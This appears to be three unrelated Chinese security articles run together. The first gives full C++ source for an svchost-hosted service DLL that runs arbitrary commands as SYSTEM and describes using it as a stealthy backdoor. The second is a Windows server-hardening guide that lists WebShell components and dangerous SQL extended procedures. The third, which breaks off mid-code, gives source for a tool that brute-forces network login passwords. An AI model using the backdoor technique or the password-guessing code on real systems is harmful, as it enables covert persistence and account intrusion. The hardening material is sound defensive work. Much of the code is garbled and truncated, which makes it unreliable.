其中前两种可以被正常服务使用,如使用第1种方式,启动其服务要创建新的svchost进程;第2种方式如果该组服务已经运行,安装后不能立刻启动服务,因为svchost启动后已经把该组信息保存在内存里,并调用API
StartServiceCtrlDispatcher()
为该组所有服务注册了调度处理函数,新增加的服务不能再注册调度处理函数,需要重起计算机或者该组的svchost进程。而后两种可能被后门使用,尤其是最后一种,没有添加服务,只是改了注册表里一项设置,从服务管理控制台又看不出来,如果作为后门还是很隐蔽的。比如EventSystem服务,缺省是指向es.dll,如果把ServiceDll改为EventSystem.dll就很难发现。
因此服务的安装除了调用CreateService()创建服务之外,还需要设置服务的ServiceDll,如果使用前2种还要设置svchost的注册表选项,在卸载时也最好删除增加的部分。
具体代码参见后边的附例(使用的是方法3)。
注: ImagePath 和ServiceDll
是ExpandString不是普通字符串。因此如果使用.reg文件安装时要注意。
5. DLL服务实现
DLL程序的编写比较简单,只要实现一个ServiceMain()函数和一个服务控制程序,在ServiceMain()函数里用RegisterServiceCtrlHandler()注册服务控制程序,并设置服务的运行状态就可以了。
另外,因为此种服务的安装除了正常的CreateService()之外,还要进行其他设置,因此最好实现安装和卸载函数。&
为了方便安装,实现的代码提供了InstallService()函数进行安装,这个函数可以接收服务名作为参数(如果不提供参数,就使用缺省的iprip),如果要安装的服务不在svchost的netsvcs组里安装就会失败;如果要安装的服务已经存在,安装也会失败;安装成功后程序会配置服务的ServiceDll为当前Dll。提供的UninstallService()函数,可以删除任何函数而没有进行任何检查。
为了方便使用rundll32.exe进行安装,还提供了RundllInstallA()和RundllUninstallA()分别调用InstallService()及UninstallService()。因为rundll32.exe使用的函数原型是:
void CALLBACK FunctionName(
& HWND hwnd, &
& & &// handle
to owner window
& HINSTANCE hinst, &//
instance handle for the DLL
& LPTSTR lpCmdLine, // string the DLL will
& int nCmdShow &
& &// show state
对应的命令行是rundll32 DllName,FunctionName
[Arguments]&
DLL服务本身只是创建一个进程,该程序命令行就是启动服务时提供的第一个参数,如果未指定就使用缺省的svchostdll.exe。启动服务时如果提供第二个参数,创建的进程就是和桌面交互的。
具体代码参见后边的附例8,源代码和DLL文件请到http://www.binglesite.net/下载。
//main service process function
void __stdcall ServiceMain( int argc, wchar_t* argv[] );
//report service stat to the service control manager
int TellSCM( DWORD dwState, DWORD dwExitCode, DWORD dwProgress
//service control handler, call back by service control
void __stdcall ServiceHandler( DWORD dwCommand );
//RealService just create a process&
int RealService(char *cmd, int bInteract);
//Install this dll as a Service host by svchost.exe, service
name is given by caller
int InstallService(char *name);
//unInstall a Service, be CARE FOR call this to delete a
int UninstallService(char *name);
//Install this dll as a Service host by svchost.exe, used by
RUNDLL32.EXE to call
void CALLBACK RundllInstallA(HWND hwnd, HINSTANCE hinst, char
*param, int nCmdShow);
//unInstall a Service used by RUNDLL32.EXE to call, be CARE
FOR call this to delete a service
void CALLBACK RundllUninstallA(HWND hwnd, HINSTANCE hinst,
char *param, int nCmdShow);
//output the debug infor into log file(or stderr if a console
program call me) & DbgPrint
void OutputString( char *lpFmt, ... );
6. 代码使用
C:\&tlist -s
& &0 System Process
& &8 System
240 services.exe & &Svcs:
&Browser,Dhcp,dmserver,Dnscache,Eventlog,lanmanserver,lanmanworkstation,
LmHosts,PlugPlay,ProtectedStorage,TrkWks,Wmi
504 svchost.exe & & Svcs:
1360 svchost.exe & & Svcs:
&EventSystem,Netman,RasMan,SENS,TapiSrv
C:\&rundll32 svchostdll.dll,RundllInstall
SvcHostDLL: DllMain called DLL_PROCESS_ATTACH
you specify service name not in Svchost\netsvcs, must be one
of following:
- EventSystem
- Nwsapagent
- Remoteaccess
- Sharedaccess
C:\&rundll32 svchostdll.dll,RundllInstall
SvcHostDLL: DllMain called DLL_PROCESS_ATTACH
CreateService(IPRIP) SUCCESS. Config it
Config service IPRIP ok.
C:\&sc start iprip "cmd /k whoami" 1
NT AUTHORITY\SYSTEM
SvcHostDLL: ServiceMain(3, IPRIP) called
SvcHostDLL: RealService called 'cmd /k whoami' Interact
SvcHostDLL: CreateProcess(cmd /k whoami) to 640
C:\&tlist -s
& &0 System Process
& &8 System
240 services.exe & &Svcs:
&Browser,Dhcp,dmserver,Dnscache,Eventlog,lanmanserver,lanmanworkstation,
LmHosts,PlugPlay,ProtectedStorage,TrkWks,Wmi
504 svchost.exe & & Svcs:
640 cmd.exe & &
& & Title:
C:\WINNT\System32\cmd.exe
1360 svchost.exe & & Svcs:
&EventSystem,Netman,RasMan,SENS,TapiSrv,IPRIP
C:\&net stop iprip
The IPRIP service was stopped successfully.
C:\&rundll32 svchostdll.dll,RundllUninstall
DeleteService(IPRIP) SUCCESS.
Platform SDK: Tools - Rundll32
1) Inside Win32 Services, Part 2 by: Mark Russinovich, at:
/Articles/Index.cfm?ArticleID=8943&pg=3
2) Platform SDK: Tools - Rundll32, at:
/library/en-us/tools/tools/rundll32.asp
// SvcHostDLL.cpp : Demo for a service dll used by svchost.exe
to host it.
// for detail comment see articles.
// & by bingle_.cn
&http://www.binglesite.net/
// &Articles:
// 1. HOWTO Create a service dll used by svchost.exe by
bingle, at:
http://www.BingleSite.net/article/svchost-dll-service.html
// 2. Inside Win32 Services, Part 2 by: Mark Russinovich, at:
/Articles/Index.cfm?ArticleID=8943&pg=3
// 3. Platform SDK: Tools - Rundll32, at:
/library/en-us/tools/tools/rundll32.asp
#include &stdio.h&
#include &time.h&
#include &assert.h&
#include &windows.h&
#define DEFAULT_SERVICE "IPRIP"
#define MY_EXECUTE_NAME "SvcHostDLL.exe"
//main service process function
void __stdcall ServiceMain( int argc, wchar_t* argv[] );
//report service stat to the service control manager
int TellSCM( DWORD dwState, DWORD dwExitCode, DWORD dwProgress
//service control handler, call back by service control
void __stdcall ServiceHandler( DWORD dwCommand );
//RealService just create a process&
int RealService(char *cmd, int bInteract);
//Install this dll as a Service host by svchost.exe, service
name is given by caller
int InstallService(char *name);
//unInstall a Service, be CARE FOR call this to delete a
int UninstallService(char *name);
//Install this dll as a Service host by svchost.exe, used by
RUNDLL32.EXE to call
void CALLBACK RundllInstallA(HWND hwnd, HINSTANCE hinst, char
*param, int nCmdShow);
//unInstall a Service used by RUNDLL32.EXE to call, be CARE
FOR call this to delete a service
void CALLBACK RundllUninstallA(HWND hwnd, HINSTANCE hinst,
char *param, int nCmdShow);
//output the debug infor into log file(or stderr if a console
program call me) & DbgPrint
void OutputString( char *lpFmt, ... );
//dll module handle used to get dll path in
InstallService
HANDLE hDll = NULL;
//Service HANDLE & STATUS used to get service
SERVICE_STATUS_HANDLE hS
DWORD dwCurrS
BOOL APIENTRY DllMain( HANDLE hModule,&
& & &DWORD
&ul_reason_for_call,&
& & &LPVOID
lpReserved
& & switch
(ul_reason_for_call)
DLL_PROCESS_ATTACH:
& hDll = hM
#ifdef _DEBUG
& AllocConsole();
& OutputString("SvcHostDLL: DllMain called
DLL_PROCESS_ATTACH");
DLL_THREAD_ATTACH:
& OutputString("SvcHostDLL: DllMain called
DLL_THREAD_ATTACH");
DLL_THREAD_DETACH:
& OutputString("SvcHostDLL: DllMain called
DLL_THREAD_DETACH");
DLL_PROCESS_DETACH:
& TellSCM( SERVICE_STOP_PENDING, 0, 0 );
& Sleep(1500);
& TellSCM( SERVICE_STOPPED, 0, 0 );
& OutputString("SvcHostDLL: DllMain called
DLL_PROCESS_DETACH");
& & return TRUE;
void __stdcall ServiceMain( int argc, wchar_t* argv[] )
// & &DebugBreak();
& & char svcname[256];
& & strncpy(svcname,
(char*)argv[0], sizeof svcname); //it's should be unicode, but if
it's ansi we do it well
& & wcstombs(svcname,
argv[0], sizeof svcname);
OutputString("SvcHostDLL: ServiceMain(%d, %s) called", argc,
& & hSrv =
RegisterServiceCtrlHandler( svcname,
(LPHANDLER_FUNCTION)ServiceHandler );
& & if( hSrv == NULL )
& OutputString("SvcHostDLL:
RegisterServiceCtrlHandler %S failed", argv[0]);
FreeConsole();
& & TellSCM(
SERVICE_START_PENDING, 0, 1 );
& & TellSCM(
SERVICE_RUNNING, 0, 0 );
& & // call Real Service
function noew
& & if(argc &
& strncpy(svcname, (char*)argv[1], sizeof
& wcstombs(svcname, argv[1], sizeof
& & RealService(argc
& 1 ? svcname : MY_EXECUTE_NAME, argc
& 2 ? 1 : 0);
& Sleep(10);//not quit until receive stop command,
otherwise the service will stop
& & }while(dwCurrState !=
SERVICE_STOP_PENDING && dwCurrState
!= SERVICE_STOPPED);
OutputString("SvcHostDLL: ServiceMain done");
int TellSCM( DWORD dwState, DWORD dwExitCode, DWORD dwProgress
& & SERVICE_STATUS
& & srvStatus.dwServiceType
= SERVICE_WIN32_OWN_PROCESS;
& & srvStatus.dwCurrentState
= dwCurrState = dwS
srvStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP |
SERVICE_ACCEPT_PAUSE_CONTINUE | SERVICE_ACCEPT_SHUTDOWN;
srvStatus.dwWin32ExitCode = dwExitC
srvStatus.dwServiceSpecificExitCode = 0;
& & srvStatus.dwCheckPoint =
& & srvStatus.dwWaitHint =
& & return SetServiceStatus(
hSrv, &srvStatus );
void __stdcall ServiceHandler( DWORD dwCommand )
& & // not really necessary
because the service stops quickly
& & switch( dwCommand
SERVICE_CONTROL_STOP:
& TellSCM( SERVICE_STOP_PENDING, 0, 1 );
& OutputString("SvcHostDLL: ServiceHandler called
SERVICE_CONTROL_STOP");
& Sleep(10);
& TellSCM( SERVICE_STOPPED, 0, 0 );
SERVICE_CONTROL_PAUSE:
& TellSCM( SERVICE_PAUSE_PENDING, 0, 1 );
& OutputString("SvcHostDLL: ServiceHandler called
SERVICE_CONTROL_PAUSE");
& TellSCM( SERVICE_PAUSED, 0, 0 );
SERVICE_CONTROL_CONTINUE:
& TellSCM( SERVICE_CONTINUE_PENDING, 0, 1 );
& OutputString("SvcHostDLL: ServiceHandler called
SERVICE_CONTROL_CONTINUE");
& TellSCM( SERVICE_RUNNING, 0, 0 );
SERVICE_CONTROL_INTERROGATE:
& OutputString("SvcHostDLL: ServiceHandler called
SERVICE_CONTROL_INTERROGATE");
& TellSCM( dwCurrState, 0, 0 );
SERVICE_CONTROL_SHUTDOWN:
& OutputString("SvcHostDLL: ServiceHandler called
SERVICE_CONTROL_SHUTDOWN");
& TellSCM( SERVICE_STOPPED, 0, 0 );
//RealService just create a process&
int RealService(char *cmd, int bInteract)
OutputString("SvcHostDLL: RealService called '%s' %s", cmd,
bInteract ? "Interact" : "");
& & STARTUPINFO si =
& & PROCESS_INFORMATION
& & si.cb =
& & if(bInteract)
si.lpDesktop = "WinSta0\\Default";&
& & if(!CreateProcess(NULL,
cmd, NULL, NULL, false, 0, NULL, NULL, &si,
& OutputString("SvcHostDLL: CreateProcess(%s)
error:%d", cmd, GetLastError());
OutputString("SvcHostDLL: CreateProcess(%s) to %d", cmd,
pi.dwProcessId);
& & return 0;
int InstallService(char *name)
& & // Open a handle to the
SC Manager database.&
& & int rc = 0;
& & HKEY hkRoot =
HKEY_LOCAL_MACHINE, hkParam = 0;
& & SC_HANDLE hscm = NULL,
schService = NULL;
& & char buff[500];
& & char *svcname =
DEFAULT_SERVICE;
& & if(name
&& name[0]) svcname =
& & //query svchost
& & char *ptr, *pSvchost =
"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Svchost";
RegOpenKeyEx(hkRoot, pSvchost, 0, KEY_QUERY_VALUE,
& & if(ERROR_SUCCESS !=
& OutputString("RegOpenKeyEx(%s) KEY_QUERY_VALUE
error %d.", pSvchost, rc);&
& throw "";
& & DWORD type, size =
RegQueryValueEx(hkRoot, "netsvcs", 0, &type,
(unsigned char*)buff, &size);
RegCloseKey(hkRoot);
& & SetLastError(rc);
& & if(ERROR_SUCCESS !=
& throw "RegQueryValueEx(Svchost\\netsvcs)";
& & for(ptr = *
ptr = strchr(ptr, 0)+1)
& if(stricmp(ptr, svcname) == 0)
& & if(*ptr == 0)
& OutputString("you specify service name not in
Svchost\\netsvcs, must be one of
following:");&
& for(ptr = * ptr = strchr(ptr,
OutputString(" - %s", ptr);&
& throw "";
& & //install service
& & hscm =
OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS);
& & if (hscm ==
& throw "OpenSCManager()";
& & char *bin =
"%SystemRoot%\\System32\\svchost.exe -k netsvcs";
& & schService =
CreateService(&
& hscm, & &
&// SCManager database&
& svcname, & &
& &// name of
& NULL, & &
& & & // service
name to display&
& SERVICE_ALL_ACCESS, &
& & &// desired
& SERVICE_WIN32_SHARE_PROCESS, // service
& SERVICE_AUTO_START, &
& &// start
& SERVICE_ERROR_NORMAL, &
& &// error control
& bin, & &
& &// service's
& NULL, & &
& & &// no load
ordering group&
& NULL, & &
& & &// no tag
identifier&
& NULL, & &
& & &// no
dependencies&
& NULL, & &
LocalSystem account&
& NULL); & &
& & if (schService ==
& OutputString("CreateService(%s) error %d",
svcname, rc = GetLastError());
& throw "";
OutputString("CreateService(%s) SUCCESS. Config it",
svcname);&
CloseServiceHandle(schService);&
CloseServiceHandle(hscm);&
& & //config service
& & hkRoot =
HKEY_LOCAL_MACHINE;
& & strncpy(buff,
"SYSTEM\\CurrentControlSet\\Services\", sizeof buff);
& & strncat(buff, svcname,
RegOpenKeyEx(hkRoot, buff, 0, KEY_ALL_ACCESS,
& & if(ERROR_SUCCESS !=
& OutputString("RegOpenKeyEx(%s) KEY_SET_VALUE
error %d.", svcname, rc);&
& throw "";
RegCreateKey(hkRoot, "Parameters", &hkParam);
& & SetLastError(rc);
& & if(ERROR_SUCCESS !=
& throw "RegCreateKey(Parameters)";
if(!GetModuleFileName(HMODULE(hDll), buff, sizeof buff))
& throw "GetModuleFileName() get dll path";
RegSetValueEx(hkParam, "ServiceDll", 0, REG_EXPAND_SZ, (unsigned
char*)buff, strlen(buff)+1);
& & SetLastError(rc);
& & if(ERROR_SUCCESS !=
& throw "RegSetValueEx(ServiceDll)";
& & OutputString("Config
service %s ok.", svcname);&
& & }catch(char *str)
& if(str &&
& & & rc =
GetLastError();
OutputString("%s error %d", str, rc);
RegCloseKey(hkRoot);
RegCloseKey(hkParam);
CloseServiceHandle(schService);&
CloseServiceHandle(hscm);&
void CALLBACK RundllInstallA(
& HWND hwnd, &
& & &// handle
to owner window
& HINSTANCE hinst, &//
instance handle for the DLL
& char *param, &
& & &// string
the DLL will parse
& int nCmdShow &
& &// show state
InstallService(param);
int UninstallService(char *name)
& & int rc = 0;
& & SC_HANDLE
& & SC_HANDLE
& & __try{
& & hscm =
OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS);
& & if (hscm ==
& OutputString("OpenSCManager() error %d", rc =
GetLastError() );&
& & char *svcname =
DEFAULT_SERVICE;
& & if(name
&& name[0]) svcname =
& & schService =
OpenService(hscm, svcname, DELETE);
& & if (schService ==
& OutputString("OpenService(%s) error %d",
svcname, rc = GetLastError() );&
(!DeleteService(schService) )&
& OutputString("OpenService(%s) error %d",
svcname, rc = GetLastError() );&
OutputString("DeleteService(%s) SUCCESS.",
svcname);&
& & }__except(1)
& OutputString("Exception Catched 0x%X",
GetExceptionCode());
CloseServiceHandle(schService);&
CloseServiceHandle(hscm);
void CALLBACK RundllUninstallA(
& HWND hwnd, &
& & &// handle
to owner window
& HINSTANCE hinst, &//
instance handle for the DLL
& char *param, &
& & &// string
the DLL will parse
& int nCmdShow &
& &// show state
UninstallService(param);
//output the debug infor into log file &
void OutputString( char *lpFmt, ... )
& & char buff[1024];
& & va_list
& & va_start( arglist, lpFmt
& & _vsnprintf( buff, sizeof
buff, lpFmt, arglist );
& & va_end( arglist );
& & HANDLE herr =
GetStdHandle(STD_OUTPUT_HANDLE);
& & if(herr !=
INVALID_HANDLE_VALUE)
& WriteFile(herr, buff, strlen(buff),
&len, NULL);
& WriteFile(herr, "\r\n", 2, &len,
& FILE *fp = fopen("SvcHost.DLL.log", "a");
& & & char
date[20], time[20];
fprintf(fp, "%s %s - %s\n", _strdate(date), _strtime(time),
if(!stderr) fclose(fp);
OutputDebugString(buff);
Windows Internet服务器安全配置
创建时间: 更新时间:
文章属性:原创
文章提交:code_tin (code_tin_)
Windows Internet服务器安全配置
我们将从入侵者入侵的各个环节来作出对应措施
一步步的加固windows系统.
加固windows系统.一共归于几个方面
1.端口限制
2.设置ACL权限
3.关闭服务或组件
我们现在开始从入侵者的第一步开始.对应的开始加固已有的windows系统.
这是入侵者在刚开始要做的第一步.比如搜索有漏洞的服务.
对应措施:端口限制
以下所有规则.都需要选择镜像,否则会导致无法连接
我们需要作的就是打开服务所需要的端口.而将其他的端口一律屏蔽
2.下载信息
这里主要是通过URL SCAN.来过滤一些非法请求
对应措施:过滤相应包
我们通过安全URL SCAN并且设置urlscan.ini中的DenyExtensions字段
来阻止特定结尾的文件的执行
3.上传文件
入侵者通过这步上传WEBSHELL,提权软件,运行cmd指令等等.
对应措施:取消相应服务和功能,设置ACL权限
如果有条件可以不使用FSO的.
通过 regsvr32 /u c:\windows\system32\scrrun.dll来注销掉相关的DLL.
如果需要使用.
那就为每个站点建立一个user用户
对每个站点相应的目录.只给这个用户读,写,执行权限,给administrators全部权限
安装杀毒软件.实时杀除上传上来的恶意代码.
个人推荐MCAFEE或者卡巴斯基
如果使用MCAFEE.对WINDOWS目录所有添加与修改文件的行为进行阻止.
4.WebShell
入侵者上传文件后.需要利用WebShell来执行可执行程序.或者利用WebShell进行更加方便的文件操作.
对应措施:取消相应服务和功能
一般WebShell用到以下组件
WScript.Network
WScript.Network.1
WScript.Shell
WScript.Shell.1
Shell.Application
Shell.Application.1
我们在注册表中将以上键值改名或删除
同时需要注意按照这些键值下的CLSID键的内容
从/HKEY_CLASSES_ROOT/CLSID下面对应的键值删除
5.执行SHELL
入侵者获得shell来执行更多指令
对应措施:设置ACL权限
windows的命令行控制台位于\WINDOWS\SYSTEM32\CMD.EXE
我们将此文件的ACL修改为
某个特定管理员帐户(比如administrator)拥有全部权限.
其他用户.包括system用户,administrators组等等.一律无权限访问此文件.
6.利用已有用户或添加用户
入侵者通过利用修改已有用户或者添加windows正式用户.向获取管理员权限迈进
对应措施:设置ACL权限.修改用户
将除管理员外所有用户的终端访问权限去掉.
限制CMD.EXE的访问权限.
限制SQL SERVER内的XP_CMDSHELL
7.登陆图形终端
入侵者登陆TERMINAL SERVER或者RADMIN等等图形终端,
获取许多图形程序的运行权限.由于WINDOWS系统下绝大部分应用程序都是GUI的.
所以这步是每个入侵WINDOWS的入侵者都希望获得的
对应措施:端口限制
入侵者可能利用3389或者其他的木马之类的获取对于图形界面的访问.
我们在第一步的端口限制中.对所有从内到外的访问一律屏蔽也就是为了防止反弹木马.
所以在端口限制中.由本地访问外部网络的端口越少越好.
如果不是作为MAIL SERVER.可以不用加任何由内向外的端口.
阻断所有的反弹木马.
8.擦除脚印
入侵者在获得了一台机器的完全管理员权限后
就是擦除脚印来隐藏自身.
对应措施:审计
首先我们要确定在windows日志中打开足够的审计项目.
如果审计项目不足.入侵者甚至都无需去删除windows事件.
其次我们可以用自己的cmd.exe以及net.exe来替换系统自带的.
将运行的指令保存下来.了解入侵者的行动.
对于windows日志
我们可以通过将日志发送到远程日志服务器的方式来保证记录的完整性.
evtsys工具(https://engineering.purdue.edu/ECN/Resources/Documents)
提供将windows日志转换成syslog格式并且发送到远程服务器上的功能.
使用此用具.并且在远程服务器上开放syslogd,如果远程服务器是windows系统.
推荐使用kiwi syslog deamon.
我们要达到的目的就是
不让入侵者扫描到主机弱点
即使扫描到了也不能上传文件
即使上传文件了不能操作其他目录的文件
即使操作了其他目录的文件也不能执行shell
即使执行了shell也不能添加用户
即使添加用户了也不能登陆图形终端
即使登陆了图形终端.拥有系统控制权.他的所作所为还是会被记录下来.
我们可以通过增加一些设备和措施来进一步加强系统安全性.
1.代理型防火墙.如ISA2004
代理型防火墙可以对进出的包进行内容过滤.
设置对HTTP REQUEST内的request string或者form内容进行过滤
将SELECT.DROP.DELETE.INSERT等都过滤掉.
因为这些关键词在客户提交的表单或者内容中是不可能出现的.
过滤了以后可以说从根本杜绝了SQL 注入
2.用SNORT建立IDS
用另一台服务器建立个SNORT.
对于所有进出服务器的包都进行分析和记录
特别是FTP上传的指令以及HTTP对ASP文件的请求
可以特别关注一下.
本文提到的部分软件在提供下载的RAR中包含
包括COM命令行执行记录
URLSCAN 2.5以及配置好的配置文件
IPSEC导出的端口规则
一些注册表加固的注册表项.
下面我用的例子.将是一台标准的虚拟主机.
系统:windows2003
服务:[IIS] [SERV-U] [IMAIL] [SQL SERVER 2000] [PHP]
描述:为了演示,绑定了最多的服务.大家可以根据实际情况做筛减
1.WINDOWS本地安全策略 端口限制
A.对于我们的例子来说.需要开通以下端口
外-&本地 80
外-&本地 20
外-&本地 21
外-&本地 PASV所用到的一些端口
外-&本地 25
外-&本地 110
外-&本地 3389
然后按照具体情况.打开SQL SERVER和MYSQL的端口
外-&本地 1433
外-&本地 3306
B.接着是开放从内部往外需要开放的端口
按照实际情况,如果无需邮件服务,则不要打开以下两条规则
本地-&外 53 TCP,UDP
本地-&外 25
按照具体情况.如果无需在服务器上访问网页.尽量不要开以下端口
本地-&外 80
C.除了明确允许的一律阻止.这个是安全规则的关键.
外-&本地 所有协议 阻止
2.用户帐号
a.将administrator改名,例子中改为root
b.取消所有除管理员root外所有用户属性中的&
远程控制-&启用远程控制 以及
终端服务配置文件-&允许登陆到终端服务器
c.将guest改名为administrator并且修改密码
d.除了管理员root,IUSER以及IWAM以及ASPNET用户外.禁用其他一切用户.包括SQL
DEBUG以及TERMINAL USER等等
3.目录权限
将所有盘符的权限,全部改为只有
administrators组 &全部权限
system &全部权限
将C盘的所有子目录和子文件继承C盘的administrator(组或用户)和SYSTEM所有权限的两个权限
然后做如下修改
C:\Program Files\Common Files 开放Everyone 默认的读取及运行 列出文件目录
读取三个权限
C:\WINDOWS\ 开放Everyone 默认的读取及运行 列出文件目录 读取三个权限
C:\WINDOWS\Temp 开放Everyone 修改,读取及运行,列出文件目录,读取,写入权限
现在WebShell就无法在系统目录内写入文件了.
当然也可以使用更严格的权限.
在WINDOWS下分别目录设置权限.
可是比较复杂.效果也并不明显.
在IIS 6下.应用程序扩展内的文件类型对应ISAPI的类型已经去掉了IDQ,PRINT等等危险的脚本类型,
在IIS 5下我们需要把除了ASP以及ASA以外所有类型删除.
安装URLSCAN
在[DenyExtensions]中
一般加入以下内容
这样入侵者就无法下载.mdb数据库.这种方法比外面一些在文件头加入特殊字符的方法更加彻底.
因为即便文件头加入特殊字符.还是可以通过编码构造出来的
5.WEB目录权限
作为虚拟主机.会有许多独立客户
比较保险的做法就是为每个客户,建立一个windows用户
然后在IIS的响应的站点项内
把IIS执行的匿名用户.绑定成这个用户
并且把他指向的目录
权限变更为
administrators &全部权限
system &全部权限
单独建立的用户(或者IUSER) &选择高级-&打开除
完全控制,遍历文件夹/运行程序,取得所有权 3个外的其他权限.
如果服务器上站点不多.并且有论坛
我们可以把每个论坛的上传目录
去掉此用户的执行权限.
只有读写权限
这样入侵者即便绕过论坛文件类型检测上传了webshell
也是无法运行的.
6.MS SQL SERVER2000
使用系统帐户登陆查询分析器
运行以下脚本
use master&
exec sp_dropextendedproc 'xp_cmdshell'&
exec sp_dropextendedproc 'xp_dirtree'
exec sp_dropextendedproc 'xp_enumgroups'
exec sp_dropextendedproc 'xp_fixeddrives'
exec sp_dropextendedproc 'xp_loginconfig'
exec sp_dropextendedproc 'xp_enumerrorlogs'
exec sp_dropextendedproc 'xp_getfiledetails'
exec sp_dropextendedproc 'Sp_OACreate'&
exec sp_dropextendedproc
'Sp_OADestroy'&
exec sp_dropextendedproc
'Sp_OAGetErrorInfo'&
exec sp_dropextendedproc
'Sp_OAGetProperty'&
exec sp_dropextendedproc 'Sp_OAMethod'&
exec sp_dropextendedproc
'Sp_OASetProperty'&
exec sp_dropextendedproc 'Sp_OAStop'&
exec sp_dropextendedproc
'Xp_regaddmultistring'&
exec sp_dropextendedproc
'Xp_regdeletekey'&
exec sp_dropextendedproc
'Xp_regdeletevalue'&
exec sp_dropextendedproc
'Xp_regenumvalues'&
exec sp_dropextendedproc 'Xp_regread'&
exec sp_dropextendedproc
'Xp_regremovemultistring'&
exec sp_dropextendedproc 'Xp_regwrite'&
drop procedure sp_makewebtask
删除所有危险的扩展.
7.修改CMD.EXE以及NET.EXE权限
将两个文件的权限.修改到特定管理员才能访问,比如本例中.我们如下修改
cmd.exe & root用户 &
net.exe & root用户 &
这样就能防止非法访问.
还可以使用例子中提供的comlog程序
将com.exe改名_com.exe,然后替换com文件.这样可以记录所有执行的命令行指令
使用ntbackup软件.备份系统状态.
使用reg.exe 备份系统关键数据
如reg export HKLM\SOFTWARE\ODBC e:\backup\system\odbc.reg
来备份系统的ODBC
这里介绍MCAFEE 8i 中文企业版
因为这个版本对于国内的许多恶意代码和木马都能够及时的更新.
比如已经能够检测到海阳顶端2006
而且能够杀除IMAIL等SMTP软件使用的队列中MIME编码的病毒文件
而很多人喜欢安装诺顿企业版.而诺顿企业版,对于WEBSHELL.基本都是没有反应的.
而且无法对于MIME编码的文件进行杀毒.
在MCAFEE中.
我们还能够加入规则.阻止在windows目录建立和修改EXE.DLL文件等
我们在软件中加入对WEB目录的杀毒计划.
每天执行一次
并且打开实时监控.
10.关闭无用的服务
我们一般关闭如下服务
Computer Browser
Help and Support
Print Spooler
Remote Registry
TCP/IP NetBIOS Helper
如果服务器不用作域控,我们也可以禁用
Workstation
11.取消危险组件
如果服务器不需要FSO
regsvr32 /u c:\windows\system32\scrrun.dll
使用regedit
将/HKEY_CLASSES_ROOT下的
WScript.Network
WScript.Network.1
WScript.Shell
WScript.Shell.1
Shell.Application
Shell.Application.1
键值改名或删除
将这些键值下CLSID中包含的字串
如{72C24DD5-D70A-438B-8A42-98424B88AFB8}
到/HKEY_CLASSES_ROOT/CLSID下找到以这些字串命名的键值
本地安全策略-&本地策略-&审核策略
打开以下内容
审核策略更改 & &成功,失败
审核系统事件 & &成功,失败
审核帐户登陆事件 & &成功,失败
审核帐户管理 &
&成功,失败&
Windows网络用户登录密码的猜解
Windows网络用户登录密码的猜解&
Windows网络用户密码猜解算法的主要思想是:利用Windows提供的窗口枚举函数EnumWindows
()找到网络登录窗口。利用子窗口枚举函数EnumChildWindows
()或GetNext-DlgTabItem()和GetWindowLong()定位网络登录窗口上的各个控件。利用SendDlgItemMessage()或SetDlgItemText()来输入用户名及密码。利用SendMessage()发送“确定”消息。这样一来,就利用程序完成了整个网络登录过程。在重复这个过程中采用枚举的用户名和密码,进而完成网络用户名及密码的枚举猜解。&
一、猜解过程流程:&
为说明问题,下面只写出主要的过程。对于关键过程给出用VC++实现的源码。下面的流程中Mutex.Lock和Mutex.UnLock之间的代码只允许单线程访问。“密码枚举完”是指用户指定的字符集合已被枚举完,程序将再枚举一个新的用户名,然后重新枚举这个字符集合。关于源码中各函数的具体用法,请参阅MSDN。关于多线程的用法,可参阅《VisualC++技术内幕》。&
下面给出关键流程的源代码(程序流程见图1-1):&
1. 全局变量:&
struct _Thread&
CWinThread *pT&
_Thread WindowThread[iProc],PassTread[1],UserTread[1];
)//iProc:窗口枚举线程数&
CEvent gEventNextP//取下一个密码,为实现同步引进&
CEvent gEventPassOk;//已取得密码,为实现同步引进&
gEventNextUser;//取下一个用户名,为实现同步引进&
CEvent gEventUserOk;// 已取得用户名,为实现同步引进&
CMutex gM//互斥量,只允许单线程访问&
char cCurrentPass[MAX_PASSWORD_LENGTH];
file://当前使用的密码。&
cCurrentUser[MAX_USER_LENGTH];//当前使用的用户名&
2. 线程启动:&
file://密码枚举线程&
if(PassTread[0].pThread==NULL)&
PassTread[0].pThread=AfxBeginThread((AFX_THREADPROC)GetNextPassL,NULL,&
THREAD_PRIORITY_LOWEST);&
PassTread[0].pThread-&m_bAutoDelete=TRUE;&
file://这里略去了从文件取得密码的代码,这些代码和用户名枚举过程的代码差不多&
file://用户名枚举线程&
if(UserTread[0].pThread==NULL)&
UserTread[0].pThread=AfxBeginThread((AFX_THREADPROC)GetNextUserF,NULL,&
THREAD_PRIORITY_LOWEST);&
PassTread[0].pThread-&m_bAutoDelete=TRUE;&
file://窗口枚举线程&
for(int i=0;i&
if(WindowThread[i].pThread==NULL){&
WindowThread[i].pThread=AfxBeginThread((AFX_THREADPROC)ThreadProc,NULL,&
THREAD_PRIORITY_LOWEST);&
WindowThread[i].pThread-&m_bAutoDelete=TRUE;&
3.窗口及子窗口枚举&
UINT ThreadProc(LPVOID *pPraram)&
while(!EnumWindows((WNDENUMPROC)EnumWindowsProc,NULL))}&
return 0;&
BOOL CALLBACK EnumWindowsProc(HWND hwnd,LPARAM
char lpWinTitle[MAX_LINELENGTH];&
::GetWindowText(hwnd,lpWinTitle,MAX_LINELENGTH-1);&
if(strcmp(lpWinTitle,sTitle)==0)//
sTitle:网络登录窗口的窗口名&
{ gMutex.Lock(INFINITE);//防止两个线程同时操作&
while(EnumChildWindows(hwnd,(WNDENUMPROC)EnumChildProc,NULL));&
gMutex.Unlock();&
return FALSE;&
return TRUE;&
BOOL CALLBACK EnumChildProc( HWND hwnd,LPARAM
char sChildName[MAX_LINELENGTH];&
::GetClassName(hwnd,sChildName,MAX_LINELENGTH-1);&
file://处理编辑控件,登录窗口中一般只有两个编辑框,可用MicroSoft
Spy++查看窗口的&
file://各个子窗口&
// 的属性。通过对比各控件的风格或名字来区别各控件。&
if(strcmp(sChildName,"Edit")==0)&
dWinSty=::GetWindowLong(hwnd,GWL_STYLE);&
if((dWinSty&ES_PASSWORD)==ES_PASSWORD)//这是密码输入编辑控件&
gEventNextPass.SetEvent();//发送“新密码”事件&
WaitForSingleObject(gEventPassOk, INFINITE);
file://等待“密码完成”事件&
gEventPassOk.ResetEvent(); file://复位&
::SetDlgItemText(::GetWindowLong(hwnd,GWL_ID),cCurrentPass);&
